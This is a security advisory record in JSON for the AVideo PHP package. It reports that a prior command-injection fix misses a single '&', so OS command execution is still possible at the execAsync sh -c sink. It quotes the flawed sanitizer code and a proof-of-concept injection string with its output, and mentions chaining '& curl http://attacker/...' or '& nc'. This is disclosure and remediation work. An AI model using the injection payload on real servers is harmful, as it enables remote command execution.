Find a vulnerability

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55173"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:42:17Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that `sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`) failed to strip `$(...)` command substitution, allowing OS command injection at the `execAsync()` `sh -c` sink. The fix (commit `25c8ab90`) added `$`, `(`, `)`, `{`, `}`, `\\n`, `\\r` to the denylist character class and a `str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, ...)`. It still does **not** neutralize a single `\u0026` (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original \u2014 only the surviving metacharacter differs.\n\nVerified at master HEAD.\n\n### The surviving gap\n\nHEAD `sanitizeFFmpegCommand` (`functions.php`):\n```php\n$command = str_replace(\u0027\u0026\u0026\u0027, \u0027\u0027, $command);                    // only the doubled form\n$command = preg_replace(\u0027/\\s*\u0026?\u003e.*(?:2\u003e\u00261)?/\u0027, \u0027\u0027, $command);  // strips \u0027\u0026\u0027 only when followed by \u0027\u003e\u0027\n$command = preg_replace(\u0027/[;|`\u003c\u003e$()\\n\\r{}]/\u0027, \u0027\u0027, $command);   // char class has no \u0027\u0026\u0027\n// then requires the result to start with \u0027ffmpeg\u0027\n```\nA single `\u0026` is therefore preserved. `ffmpeg ... \u0026 \u003ccmd\u003e` passes the sanitizer and the `strpos(trim($command),\u0027ffmpeg\u0027)===0` prefix gate.\n\n### Sink (unchanged)\n\n`plugin/API/standAlone/ffmpeg.json.php:418` -\u003e `execAsync($ffmpegCommand, $keyword)`. In `objects/functionsExec.php::execAsync`:\n```php\n$command = addcslashes($command, \u0027\"\u0027);   // line 686 \u2014 escapes only the double-quote\n$commandWithKeyword = \"nohup sh -c \\\"$command \u0026 echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e\u00261 \u0026\";  // line 705\nexec($commandWithKeyword, ...);          // line 712 \u2014 PHP exec() runs via /bin/sh -c\n```\nThe sanitized command is embedded inside an inner `sh -c \"...\"`. A bare `\u0026` in `$command` separates commands for that inner shell, so the injected command executes. `addcslashes` escaping only `\"` does not stop `\u0026`.\n\n### Reachability\n\n`ffmpeg.json.php` builds the command from `_decryptString(getInput(\u0027codeToExecEncrypted\u0027))`. This is the **same** threat model the original advisory accepted (\u201can attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server\u201d) and the same CVSS basis (`AV:N/AC:H/PR:N`).\n\n### Proof (poc/poc_ampersand_bypass.php, poc/OUTPUT.txt)\n\nByte-faithful PHP harness: `sanitizeFFmpegCommand` copied verbatim from HEAD + the `execAsync` `sh -c` wrapping copied from `functionsExec.php`:\n```\nattacker input : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nafter sanitize : ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo done out.mp4\nampersand survived : YES   passes prefix : YES\nfinal sh -c string:\n  nohup sh -c \"ffmpeg -i input.mp4 \u0026 touch /tmp/avideo_amp_rce_proof \u0026 echo $! \u003e /tmp/testkw.pid\" \u003e /dev/null 2\u003e\u00261 \u0026\n\u003e\u003e injected touch executed: YES (/tmp/avideo_amp_rce_proof)\n```\nThe sanitizer leaves `\u0026` intact and the injected `touch` runs at the sink.\n\n### Impact\n\nArbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple `\u0026`-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the `\u003e` strip, but command execution (e.g. `\u0026 curl http://attacker/...`, `\u0026 nc ...`, dropping/running a file) is not.\n\n### Remediation\n\nStop applying a metacharacter denylist to a `sh -c` sink. Build the ffmpeg invocation as an argv array with `escapeshellarg()` per token (the project already uses `escapeshellarg()` at 137 sites) instead of interpolating `$command` into `sh -c \"...\"`. If the denylist is kept as defense-in-depth, add `\u0026` to the stripped set \u2014 but the denylist approach has now missed two metacharacters in a row (`$()` then `\u0026`).",
  "id": "GHSA-wc3f-xc32-435f",
  "modified": "2026-06-23T17:42:17Z",
  "published": "2026-06-23T17:42:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wc3f-xc32-435f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/c1cfa2bea8a351a1d07f5758f82887403e3abf1f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single \u0027\u0026\u0027 (background operator), giving OS command execution at the same execAsync sh -c sink"
}